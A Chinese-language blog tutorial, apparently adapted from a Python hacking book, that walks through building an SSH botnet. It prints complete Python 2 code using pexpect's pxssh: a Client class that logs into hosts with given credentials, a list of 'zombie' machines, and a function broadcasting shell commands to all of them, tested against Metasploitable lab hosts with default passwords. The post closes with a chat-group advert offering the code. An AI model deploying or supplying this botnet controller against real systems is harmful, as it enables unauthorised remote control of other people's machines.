Python黑客攻防,构建SSH僵尸网络!黑客也不难撒!

前言

        攻击者在达成恶意目的时,通常会使用被黑掉的计算机群。我们称之为僵尸网络”,因为被黑掉的电脑会像僵尸一样执行指令。

        为构建僵尸网络,我们必须引入一一个新的概念一类。 类的概念是面向编程对象和编程模型的基础。在这一编程模型中,我们会把各个对象和它们所关联的方法一起实例化。 在我们的僵尸网络中,每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力。

 

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
# coding=utf-8import optparsefrom pexpect import pxsshclass Client(object):      def __init__(self, host, user, password):        self.host = host        self.user = user        self.password = password        self.session = self.connect()    def connect(self):        try:            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            return s        except Exception, e:            print e            print '[-] Error Connecting'    def send_command(self, cmd):        self.session.sendline(cmd)        self.session.prompt()        return self.session.beforedef botnetCommand(command):    for client in botNet:        output = client.send_command(command)        print '[*] Output from: ' + client.host        print '[+] Command is: ' + output + '\n'def addClient(host, user, password):    client = Client(host, user, password)    botNet.append(client)botNet = []addClient('192.168.1.16', 'msfadmin', 'msfadmin')addClient('192.168.1.14', 'root', '1')botnetCommand('uname -a')botnetCommand('whoami')

 

        我们来看一下生成Client()类对象的代码。为了构造client 对象,需要主机名、用户名,以及密码或**。同时,这个类还要包含维持与肉机连接所需的方法—— connect()、send_command()和alive()。请注意,当我们引用属于类中的变量时,是以self后接变量名的方式表示它的。为了构建僵尸网络,我们要建立一个名为botnet 的全局数组,其中记录了单个client对象。接下来,我们要编写一个名为addClient()的方法, 它的输入是主机名、用户和密码,并以此实例化一个client对象,并把它添加到botnet 数组里。接下来的botnetCommand()函数只要一个参数——要发布的命令。这个函数遍历整个数组,把命令发送到botnet 数组中的每个chient上。

 

测试

kalilinux本机和msf靶机

 

Python黑客攻防,构建SSH僵尸网络!黑客也不难撒!

今天就到这,需要代码加群:850591259